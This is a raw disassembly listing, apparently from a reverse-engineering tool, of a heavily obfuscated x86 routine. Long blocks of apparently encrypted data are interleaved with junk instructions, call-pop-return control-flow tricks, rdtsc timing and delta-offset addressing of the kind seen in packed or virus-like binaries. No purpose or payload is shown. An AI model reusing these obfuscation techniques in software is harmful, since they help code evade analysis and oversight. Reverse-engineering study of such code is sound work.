		dd 3D571A98h, 2EEE6263h, 4568E952h, 30A46D7Ch, 25FC6344h
		dd 0DD68E550h, 6AE65C3Dh, 0B3C620D5h, 33571498h, 63h dup(0)
		dd 6AD51A00h, 0BDC73DC8h, 3D481A9Eh, 26EC757Eh,	425F152h
		dd 62F7687Ah, 2AED7543h, 0D127F702h, 38B44D3Ch,	0BDC73CD0h
		dd 741A1284h, 2EFA2760h, 5768E255h, 27F07A6Bh, 49823E4Ch
		dd 0C52DFD72h, 6AB84C21h, 0BBC53CD0h, 741A118Bh, 33E5277Ah
		dd 4968FD4Fh, 30EB6477h, 2AE93058h, 0C13AB146h,	38F55D21h
		dd 0BBD072D1h, 6D1A079Fh, 33E4687Ch, 66FD41h, 48h dup(0)
		dd 6AD51A00h, 0B7C820C6h, 3A481081h, 2EF7277Dh,	4C68FC4Fh
		dd 20A47A73h, 64E67544h, 0CA3DFE44h, 3FE60936h,	0BAC03CCBh
		dd 7353558Dh, 34EC7E2Eh, 5D3BB052h, 2FE17D61h, 14851A0Fh
		dd 0D729F44Eh, 3FB40537h, 0B5C63ECBh, 6953558Eh, 2EF1612Eh
		dd 4125B04Dh, 3BF6667Fh, 20E67101h, 0D72DE302h,	3EE64826h
		dd 0A1C62B85h, 6F4A5598h, 20F16061h, 0BE4Dh, 61h dup(0)
		dd 23D21A00h, 0B78937C9h, 68480785h, 25E6737Eh,	7068BE01h
		dd 62F7607Ah, 23E76251h, 8425F050h, 6AE7483Ah, 0BACC37C7h
		dd 735B18CAh, 2DF67767h, 402DE441h, 26EA6832h, 3DE97D01h
		dd 0A942F440h, 39B35D3Bh, 0B2C73B85h, 784E168Fh, 38E1276Ah
		dd 7268F100h, 31F17B7Bh, 64FA7F01h, 0C729E341h,	64F04C39h
		dd 0BDC10685h, 745C5599h, 36A36262h, 506FFE4Fh,	30EB7E32h
		dd 2AE9304Ah, 0D627FC5Bh, 737h,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
; ---------------------------------------------------------------------------


loc_582994:				; CODE XREF: sub_581EE9+D3j
		jmp	loc_5857DE
; ---------------------------------------------------------------------------
		mov	bh, dl
		cld
		mov	ebx, [ebp+6140961h]
		mov	eax, eax
		or	edx, [ebp+6140B15h]
		mov	bx, 0EB15h
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5829C0
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5829D3


loc_5829C0:				; CODE XREF: sub_581EE9+ACCj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+616A5F4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5829D3:				; CODE XREF: sub_581EE9+AD5j
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5829ED
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+616A4A5h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5829ED:				; CODE XREF: sub_581EE9+AF1j
		jmp	loc_582A03
; ---------------------------------------------------------------------------
		dw 4FD1h
		dd 0E1C2B28Fh, 81C9EAD3h, 278837F3h
		db 0Dh,	54h, 11h
; ---------------------------------------------------------------------------


loc_582A03:				; CODE XREF: sub_581EE9:loc_5829EDj
		call	loc_582A14
		jmp	dword ptr [ecx-66B26403h]
; ---------------------------------------------------------------------------
		dw 0E250h
		dd 2CC7CF7Bh
; ---------------------------------------------------------------------------


loc_582A14:				; CODE XREF: sub_581EE9:loc_582A03p
		jmp	loc_582A2D
; ---------------------------------------------------------------------------
		clc
		or	esi, [esi+1FF5F955h]
		xor	eax, 9915E92Bh
		enter	0FFFF9160h, 0A2h
		or	esi, eax
		add	dh, dl


loc_582A2D:				; CODE XREF: sub_581EE9:loc_582A14j
		pop	edx
		mov	eax, eax
		push	0
		push	ebx
		call	loc_582A3B
		and	[ebx-3Dh], bl


loc_582A3B:				; CODE XREF: sub_581EE9+B4Ap
		pop	ebx
		mov	[esp-6E92h+arg_6E8E], ebx
		add	[esp-6E92h+arg_6E8E], 19h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0B5h
; ---------------------------------------------------------------------------
		fucomi	st, st(5)
		xchg	eax, esi
		sti
		add	[edi], ecx
		mov	bh, 0D3h
		cmp	dword ptr [ebp+614202Dh], 0
		jz	loc_582BC6
		mov	bh, cl
		cmp	dword ptr [ebp+6142AC1h], 0
		jz	loc_582BC6
		add	[ebp+61408DDh],	eax
		pusha
		mov	ebx, [ebp+6141B8Dh]
		mov	eax, [ebp+6142AC1h]
		push	0
		push	ecx
		call	loc_582A8E
		and	[ecx-3Dh], bl


loc_582A8E:				; CODE XREF: sub_581EE9+B9Dp
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Dh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		adc	cl, [esi-79198033h]
		adc	al, 0B9h
		std
		mov	ds:4A96BA66h, eax
		add	eax, 3E8h
		jg	loc_582AB9
		mov	dl, al


loc_582AB9:				; CODE XREF: sub_581EE9+BC8j
		nop
		pusha
		pusha
		mov	ecx, 66342DC6h
		popa
		jnb	loc_582ACA
		mov	dh, 50h


loc_582ACA:				; CODE XREF: sub_581EE9+BD9j
		popa
		push	eax
		jb	loc_582AD4
		mov	dh, 0ECh


loc_582AD4:				; CODE XREF: sub_581EE9+BE3j
		nop
		pusha
		jmp	loc_582AED
; ---------------------------------------------------------------------------
		db 0AEh
		dd 0EF755002h, 0F9F6CE65h, 0C848EA90h, 6A0E37C9h
; ---------------------------------------------------------------------------
		push	edi


loc_582AED:				; CODE XREF: sub_581EE9+BEDj
		xor	dl, 85h
		popa
		lea	eax, [ebp+6144DDFh]
		mov	ebx, [ebp+6141A11h]
		mov	bh, 0BAh
		push	eax
		push	eax
		push	edx
		mov	dh, 30h
		rdtsc
		mov	edx, 2B8ED52Fh
		pop	edx
		pop	eax
		mov	[esp-6E60h+arg_6E58], eax
		sub	[ebp+6142D41h],	edx
		lea	eax, [ebp+6144DBDh]
		stc
		nop
		pusha
		mov	edx, esi
		mov	dl, ch
		popa
		push	eax
		mov	edx, ebx
		nop
		cld
		call	dword ptr [ebp+6141239h]
		mov	ebx, [ebp+61407D9h]
		add	esp, 0Ch
		xor	ebx, 24693A2Fh
		pusha
		jnz	loc_582B48
		mov	si, di


loc_582B48:				; CODE XREF: sub_581EE9+C56j
		movsx	esi, di
		popa
		lea	eax, [ebp+6144DBDh]
		mov	edx, [ebp+6142B09h]
		push	eax
		mov	[esp-6E64h+arg_6E5C], eax
		push	0
		push	ecx
		call	loc_582B67
		and	[ecx-3Dh], bl


loc_582B67:				; CODE XREF: sub_581EE9+C76p
		pop	ecx
		mov	[esp-6E66h+arg_6E60+2],	ecx
		add	[esp-6E66h+arg_6E60+2],	1Ch
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		stosb
		push	ecx
		mov	ds:845DBE04h, eax
		jb	short near ptr loc_582B8E+4
		and	edx, 34F265E9h
		or	[ebp+614000Dh],	edx
		push	2


loc_582B8E:				; CODE XREF: sub_581EE9+C95j
		or	[ebp+61430BDh],	esi
		mov	ebx, edx
		call	dword ptr [ebp+6AED14h]
		add	ebx, [ebp+6141EA5h]
		popa
		push	0
		push	ebp
		call	loc_582BAE
		and	[ebp-3Dh], bl


loc_582BAE:				; CODE XREF: sub_581EE9+CBDp
		pop	ebp
		mov	[esp-6E7Ch+arg_6E76+2],	ebp
		add	[esp-6E7Ch+arg_6E76+2],	15h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		mov	gs, [edx+0A2D8D89h]
		adc	al, 6


loc_582BC6:				; CODE XREF: sub_581EE9+B72j
					; sub_581EE9+B81j
		mov	dword ptr [ebp+6144DF0h], 1
		mov	[ebp+61407E5h],	eax
		push	eax
		push	esi
		jmp	loc_582BEE
; ---------------------------------------------------------------------------
		db 0CEh, 2Fh, 1Eh
		dd 0E902B114h, 55FA455Eh, 0B167FD15h
		db 93h,	82h
; ---------------------------------------------------------------------------


loc_582BEE:				; CODE XREF: sub_581EE9+CEFj
		pop	edx
		mov	[esp-6E8Ah+arg_6E80+2],	esi
		movzx	ebx, di
		mov	[ebp+6144DA1h],	esi
		push	0
		push	ebx
		call	loc_582C06
		and	[ebx-3Dh], bl


loc_582C06:				; CODE XREF: sub_581EE9+D15p
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 14h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 311Bh
		dd 142DF585h, 0CDBD8306h, 1061401h, 20850Fh, 0B5890000h
		dd 61406CDh, 0F05F883h,	1185h, 6DB8100h, 0B843A646h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+61417B5h]
		cmp	dword ptr [ebp+61400E9h], 0
		jz	loc_582CA3
		push	edi
		or	[ebp+6142005h],	ecx
		pop	edx
		pusha
		mov	[ebp+6140811h],	edi
		call	dword ptr [ebp+61400E9h]
		push	0
		push	esi
		call	loc_582C77
		and	[esi-3Dh], bl


loc_582C77:				; CODE XREF: sub_581EE9+D86p
		pop	esi
		mov	[esp-6E6Ah+arg_6E64+2],	esi
		add	[esp-6E6Ah+arg_6E64+2],	1Ch
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		test	eax, 702AFCBh
		rcr	dh, cl
		mov	es, word ptr [ecx-45h]
		sbb	byte ptr [edx],	8Ah
		push	edi
		mov	edx, [ebp+61408D9h]
		mov	edx, ebx
		popa
		xor	bx, 31C6h


loc_582CA3:				; CODE XREF: sub_581EE9+D68j
		cmp	dword ptr [ebp+6142BB9h], 0
		jz	loc_582D0C
		push	0
		push	edi
		call	loc_582CBB
		and	[edi-3Dh], bl


loc_582CBB:				; CODE XREF: sub_581EE9+DCAp
		pop	edi
		mov	dword ptr [esp-6EA6h+arg_6EA2],	edi
		add	dword ptr [esp-6EA6h+arg_6EA2],	15h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		sbb	[esi], bl
		push	edx
		mov	[ebp+6140F01h],	edi
		pop	edx
		movzx	edx, ax
		mov	[ebp+61415F1h],	eax
		mov	eax, 0
		push	0
		push	eax
		call	loc_582CEE
		and	[eax-3Dh], bl


loc_582CEE:				; CODE XREF: sub_581EE9+DFDp
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Bh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 0B7BCh
		dd 0ECE253F8h, 958B9691h, 61416D9h
; ---------------------------------------------------------------------------


loc_582D0C:				; CODE XREF: sub_581EE9+DC1j
		pusha
		mov	bl, dl
		mov	eax, [ebp+6140055h]
		push	edx
		stc
		pop	ebx
		add	eax, 2
		push	0
		push	ebx
		call	loc_582D26
		and	[ebx-3Dh], bl


loc_582D26:				; CODE XREF: sub_581EE9+E35p
		pop	ebx
		mov	[esp-6E86h+arg_6E80+2],	ebx
		add	[esp-6E86h+arg_6E80+2],	16h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 6262h
; ---------------------------------------------------------------------------
		xchg	eax, esi
		mov	[ebp+6144D99h],	eax
		sbb	bx, 0A426h
		mov	byte ptr [eax],	0FFh
		add	[ebp+6142B11h],	edx
		mov	[ebp+6142A39h],	esi
		mov	byte ptr [ebp+6140849h], 53h
		push	0
		push	ecx
		call	loc_582D65
		and	[ecx-3Dh], bl


loc_582D65:				; CODE XREF: sub_581EE9+E74p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 15h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 3Bh, 33h
		dd 1415CD95h, 129A6806h, 0F60C91Fh, 685h, 0F525000h, 0B8585A31h
		dd 516914E3h, 24048161h, 3392363Eh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0A0C35646h,	0B8BBD635h, 0E9B2DABCh
		dd 0Ah,	0B907AFB6h, 0EDF738BEh,	8B66E73Ah, 65B5FFD9h, 0E906142Ch
		dd 13h,	0B2130FCDh, 6E1C211Eh, 1D1370E4h, 37BBA32Eh, 8DA57660h
		dd 1778FE85h, 259D8B06h, 0FF061410h, 89D68BD0h,	14297185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0BD299D2Dh, 0BA7D573Ah, 7F341016h, 0B1BD83FCh
		dd 1061409h, 0D8850Fh, 6A610000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4001C357h
		dd 33B71025h, 14024595h, 0D850906h, 0C606140Eh,	14084985h
		dd 6A4506h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8127BFC3h, 0DF186AF3h, 0F9726817h, 810F5C65h
		dd 2, 48149B3h,	0FA3F5024h, 51006A7Dh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0E862B4CBh
		dd 6585094Fh, 0FF061407h, 142C65B5h, 518D8906h,	8D061410h
		dd 1778FE85h, 5AF85106h, 9501D0FFh, 6140BA5h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0FD6642C3h, 80F9DDFAh, 0D0FFFCEAh, 0BD83D98Ah, 6140A8Dh
		dd 7E850F01h, 8B000000h, 142A799Dh, 55858B06h, 8B061400h
		dd 1410ED95h, 56E906h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0F25F14C3h, 0B239C21Ah
		dd 0D38B6690h, 6E95150h, 5E000000h, 261D9BEDh, 89905BFFh
		dd 1413598Dh, 89146A06h, 1400CDBDh, 7195FF06h, 80061429h
		dd 0F5859E7h, 9D89D8B7h, 61404B5h, 0F003880h, 0FFFFC385h
		dd 0C6D58AFFh, 0BF0F0100h, 83FC61DBh, 1416F1BDh, 840F0006h
		dd 7Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 0C9C35343h, 9D29422Dh, 6141075h, 53FF6AFCh, 8DA125BBh
		dd 95FF5A5Eh, 6142971h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 3BC35646h, 0FFFFD0E9h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 9D8B6016h, 614024Dh,	2D658D89h, 0C7610614h, 1416F185h
		dd 106h, 0E8606000h, 0Ch, 6E64964Ch, 857E155Ch,	3AA6A23h
		dd 8E959h, 2E2C0000h, 5CA1FC9Ch, 60617976h, 8E0Fh, 9D290000h
		dd 6140AB5h, 880F6161h,	0Ch, 6820Fh, 880F0000h,	0
; ---------------------------------------------------------------------------
		mov	[ebp+6144DA5h],	eax
		push	0
		push	ebp
		call	loc_583089
		and	[ebp-3Dh], bl


loc_583089:				; CODE XREF: sub_581EE9+1198p
		pop	ebp
		mov	[esp-6E82h+arg_6E7C+2],	ebp
		add	[esp-6E82h+arg_6E7C+2],	1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 13h,	0C7h, 0D0h
		dd 1E4C7FB3h, 109D9529h, 0BA660614h, 51901CE0h,	5BDA8B66h
		dd 0CE850h, 41FF0000h, 34F26920h, 0F750F478h, 8C0FE715h
		dd 6, 870Fh, 905A0000h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0E7C35545h, 13A5F3CFh, 81E405E0h, 91958960h
		dd 6A061419h, 1D850105h, 8D06140Fh, 144DBD85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0E6FDBA45h, 8B6E2B94h, 14066D95h, 0BA669006h, 6650073Fh
		dd 90A0B4BBh, 9819D8Bh,	858D0614h, 6144DADh, 0AF9BD89h
		dd 66900614h, 507129BAh, 55BD3190h, 0FF061423h,	14164595h
		dd 0CFBA6606h, 0BA8D8D4Fh, 6A06147Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 979CC350h
		dd 9D894BE4h, 6140EA5h,	1174C00Bh, 4DBD858Dh, 0FF500614h
		dd 0DB8589D1h, 0EB06144Dh, 0DB85C70Ah, 0FF06144Dh, 6AFFFFFFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 193CC356h, 58EA8157h, 6646773Ah, 0E9B1DA81h
		dd 10E861h, 0DC3C0000h,	9005C44Dh, 86962E86h, 199A0A44h
		dd 2B3B255h, 4985C65Ah,	4D061408h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 99C35141h, 3C93EB3Ah, 79853134h
		dd 6806140Dh, 5E4A5429h, 10E9h,	20038700h, 7C6D101Bh, 0A828AFD1h
		dd 0C1F14A7Dh, 240481F3h, 45EB227Fh, 8E960h, 0B90F0000h
		dd 0CDC3FC76h, 0FF618762h, 14044DB5h, 0EE906h, 32FB0000h
		dd 0D29D2C68h, 619ADCCh, 690B21E7h, 78FE858Dh, 0D78B0617h
		dd 9589D0FFh, 6140E61h,	89D08B66h, 1424DD85h, 0E58D0906h
		dd 0C6061418h, 14084985h, 3BB74506h, 5F50BF68h,	0DBD7BA24h
		dd 4811407h, 1318AA24h,	80DA8B6Ah, 0B5FF3AE2h, 6142C65h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C1C35747h
		dd 438A0632h, 188A0Fh, 13E90000h, 0BE000000h, 3E88B867h
		dd 1DA19FAAh, 0A50059E4h, 60ED5502h, 858D094Ch,	61778FEh
		dd 0FFD0BF0Fh, 0FD8D89D0h, 89061423h, 14098585h, 69858906h
		dd 6A061418h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FB7C355h, 684h, 498D0100h, 8B061409h
		dd 0D3B70FD2h, 89D98C66h, 142E25BDh, 0E58D8906h, 0F6061410h
		dd 840F04C1h, 2BAh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0D7C35646h, 17D59D89h, 7CE90614h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 4812C351h, 0CF80FA00h, 6820FFDh, 8B000000h
		dd 14076595h, 69B58B06h, 66061431h, 8189D3BAh, 1180C6h
		dd 0E3816600h, 0BD837842h, 6142FE5h, 0D850F00h,	8B000000h
		dd 1418119Dh, 0EDE906h,	0EFB30000h, 0F003E83h, 0E284h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0E4C87D46h, 6A605Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 53F94BC3h
		dd 89607EEDh, 141FC58Dh, 306FB906h, 6A610FD0h, 56006A14h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0EBA4F09Dh, 4F14DC55h, 11880F88h, 0E9000000h, 0Ch, 2E789ECDh
		dd 69EFC990h, 49A07FB7h, 297195FFh, 0BB660614h,	6A61AA24h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 6973C353h, 922452D3h, 38EEEA06h, 28FEBA66h
		dd 0FFFF33E9h, 59CB81FFh, 0E963F0D1h, 13h, 83D3C892h, 9CFB637Dh
		dd 0D46CA93Bh, 65FCC0C0h, 0C766CC3Dh, 106h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0BE48402Eh, 8BE777B9h, 141CE59Dh, 89858906h,	8306140Dh
		dd 144DA5BDh, 850F0506h, 10Ah, 0BAD950Bh, 73BB0614h, 8B5D9759h
		dd 141869B5h, 5890F06h,	0BA000000h, 2A20F27h, 0B9D6BF0Fh
		dd 64h,	2FCD9D33h, 3E800614h, 37840FE8h, 0F9000000h, 5DE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0DE62DACCh, 0ACFA62DEh, 8D0FB766h, 6, 4B59D33h
		dd 7E800614h, 840FC205h, 8Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 7EC35141h, 0F9A294EFh, 6A4680B6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C4ACC353h, 0FB7BBEFAh, 0C6DB80B4h, 67850F49h
		dd 89FFFFFFh, 142975B5h, 3CE906h, 0F600000h, 58Bh, 0DF8B800h
		dd 11E82C1Fh, 0D0000000h, 292FAFAEh, 347BB15Fh,	10E73F03h
		dd 53C2A459h, 2FB9B501h, 61590614h, 10859D01h, 0B5890614h
		dd 6140ABDh, 18419503h,	6A580614h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 1E94C350h
		dd 0F43CD313h, 76276B84h, 2D91BD83h, 0F000614h,	15884h
		dd 0F5B5600h, 28Fh, 6065B200h, 0AE8h, 0E5AA5C00h, 0D0CC078Ch
		dd 29F0E38Eh, 141BAD95h, 0E9515A06h, 9,	0AB8536F8h, 1348FBEFh
		dd 85C65A55h, 6140849h,	0A99D8954h, 0E806140Bh,	4, 0FF4EBEF4h
		dd 8B50CDB3h, 24448BDEh, 6E804h, 0E3BF0000h, 0B56DAB73h
		dd 28C0Fh, 61600000h, 0BB008B5Bh, 506BC69Ch, 4244489h
		dd 7E9h, 33898400h, 63CE4870h, 51006A58h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 65B5FFCDh
		dd 6A06142Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 56AEC352h, 1900BD9Fh, 78FE858Dh
		dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0D7C0A1C3h, 0EE957h, 94850000h, 7A1580C0h
		dd 7137D2D6h, 7AEAEA7Ah, 98D895Ah, 0FF061412h, 0C18501D0h
		dd 6A06141Ch, 6860F00h,	1000000h, 141089B5h, 91B5FF06h
		dd 6006142Dh, 14E9h, 2CD6300h, 2C4657EDh, 0D0624C43h, 74392C44h
		dd 0E7C47750h, 0E38150DFh, 56ED231Bh, 0D0FF6158h, 61DA8B66h
		dd 0DE879B3h, 9F000000h, 0DA71975Fh, 66527555h,	314EE7CDh
		dd 4D85C75Ah, 106140Fh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5657C355h
		dd 0CE86060h, 20000000h, 1817879Fh, 0F0CE775Ah,	80DC1C0Fh
		dd 615899E3h, 4E8h, 8000h, 0BA665600h, 505AD2FAh, 5775BA66h
		dd 424448Bh, 8BDE8Ah, 0DE8h, 0BA9FDD00h, 1110EFh, 3EA8132Dh
		dd 13E902CAh, 77000000h, 82333372h, 97EF7731h, 97B5D9C1h
		dd 0DBCF5F87h, 895B5B1Fh, 8B042444h, 830F58D1h,	0
; ---------------------------------------------------------------------------
		push	0FFFFFFFFh
		movsx	ebx, bx
		call	dword ptr [ebp+6140801h]
		push	0
		push	eax
		call	loc_58383A
		and	[eax-3Dh], bl


loc_58383A:				; CODE XREF: sub_581EE9+1949p
		pop	eax
		mov	[esp-6E7Ch+arg_6E76+2],	eax
		add	[esp-6E7Ch+arg_6E76+2],	1Dh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 6F0Bh
		dd 63943E6Ah, 9EF59E80h, 25559589h, 66600614h, 6B67D981h
		dd 8D0Fh, 61610000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0A7C35545h, 0E80CA3D9h, 0Dh, 5A293D1h
		dd 9449B2Eh, 0B052E7A1h, 0BD958B98h, 5B06141Bh,	89FA8A50h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A65137C3h, 0E1D25029h, 953320C3h, 61407FDh
		dd 11E9h, 5D8A2000h, 9D7C59F8h,	0BD305FA2h, 869FD9BBh
		dd 858B9FC3h, 6141001h,	34C18589h, 8B660614h, 0FC00BD8h
		dd 3284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0D343015Bh, 66E0DE2Ch, 0E595FFE3h
		dd 5606140Dh, 20359D89h, 0C75B0614h, 140F2585h,	106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 4F16274Bh, 603E587Ah, 0BE07F380h, 0A3EE42Fh,	0A0BB6661h
		dd 0AE952h, 56520000h, 769AB96Bh, 63E4C1Fh, 33F5BD83h
		dd 0F000614h, 0E84h, 4DBD8900h,	0FF06140Dh, 14185995h
		dd 83C9B706h, 140705BDh, 840F0006h, 0Ch, 0FFD68B66h, 14306995h
		dd 0D7BF0F06h, 7C9BD83h, 0F000614h, 4484h, 0A9C38100h
		dd 2973B3B5h, 143491B5h, 61BD8306h, 61403h, 2B850Fh, 89560000h
		dd 141D299Dh, 95895B06h, 61404BDh, 18F995FFh, 0E8600614h
		dd 7, 79D8721Ah, 8BCB4E61h, 142411B5h, 4CB45A06h, 91BD8361h
		dd 6140Ch, 4B840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 1A9188C3h, 82D6AA2Fh
		dd 15958BB6h, 66061418h, 4431CB81h, 18198581h, 40030614h
		dd 8D890000h, 61433FDh,	24F18581h, 40030614h, 8B660000h
		dd 0E9310FDAh, 5, 0B463A8FEh, 9C8D8DFAh, 6006145Eh, 0CE9h
		dd 0EB9A6C00h, 90B05A33h, 0AAF37EDBh, 14E8F2h, 82990000h
		dd 0FCDD4F8Fh, 73EC4410h, 85E5BD62h, 0BE351818h, 0BF0F7D1Ch
		dd 89615ED0h, 33F38A01h, 50006AC2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0DD952352h, 8906142Dh
		dd 6A0441h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 307FC7C3h, 0ACB7FC8Ah, 6A310Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 791F89C3h
		dd 0AAFE82CEh, 5EAC8D8Dh, 810F0614h, 14h, 0CE8h, 29728500h
		dd 0A046E324h, 77A80216h, 5B4FB68Ch, 0BD290189h, 614109Dh
		dd 9E8h, 256D5B00h, 0A661A1BBh,	8ABA3779h, 5A126724h, 6AC233h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 375636C3h, 95315615h, 614183Dh, 441895Bh, 1BC59D8Bh
		dd 0BD830614h, 6141355h, 5C840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0BCF2C352h, 7E952h, 48490000h, 0A7348F61h, 95FF5B26h
		dd 6141619h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	3AC35040h, 0F2BDB1C9h, 8B41F020h, 0A5BD01D8h, 83061412h
		dd 1425E5BDh, 850F0106h, 53h, 25F98D89h, 48E90614h, 8B000000h
		dd 56B58BD0h, 0C7061460h, 6, 0DCB58B00h, 0C706145Dh, 6
		dd 6ACF00h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0AFC356C3h, 1ADDBD89h, 0C6800614h, 318D0995h
		dd 83061425h, 140F25BDh, 840F0006h, 180h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 0DDC35040h, 0BD83676Dh
		dd 6140B4Dh, 31850F01h,	0E8000001h, 0Eh, 8E9BE8BEh, 84FE5434h
		dd 0E4793565h, 85290AC5h, 6141E05h, 0D2BF0F5Bh,	4D998D8Bh
		dd 33F80614h, 1407CD95h, 1C606h, 23759D03h, 0BA600614h
		dd 27DC5830h, 4E8BAB2h,	80000000h, 66000000h, 5150DE8Bh
		dd 7E8h, 16BD2D00h, 2F8F6245h, 448B5A5Ah, 0D68B0424h, 8B66008Bh
		dd 244489D0h, 0E8525004h, 0Eh, 477538DCh, 5A6FFBE4h, 0C33E53B4h
		dd 810F2417h, 0
		dd 0BB310F5Bh, 5275853Dh, 0E958585Ah, 0Bh, 943B7952h, 0C67742EEh
		dd 8B143C73h, 14021195h, 0E8FF6A06h, 0Eh, 0EFEEABDEh, 0C619ED44h
		dd 18572F3Dh, 0B5890F9Ah, 6140D35h, 195FF5Ah, 8B061408h
		dd 8C0F61DAh, 6, 800Fh,	95FF0000h, 61410D9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 30C35747h, 31FDE7C2h
		dd 1C418D89h, 8D8B0614h, 6144D99h, 779B529h, 1FE0614h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 30C35040h
		dd 0ED2BA960h, 0FA4C4E6h, 34C5BD83h, 0F010614h,	1785h
		dd 0C2816600h, 0DE90F8Ch, 2B000000h, 8C52AB02h,	0DD17F20Ah
		dd 0C866A7F4h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0DA4090C3h, 0D0B70FFEh, 195BBA66h
		dd 10F1BD83h, 75000614h, 25BD8309h, 6140Eh, 53501A74h
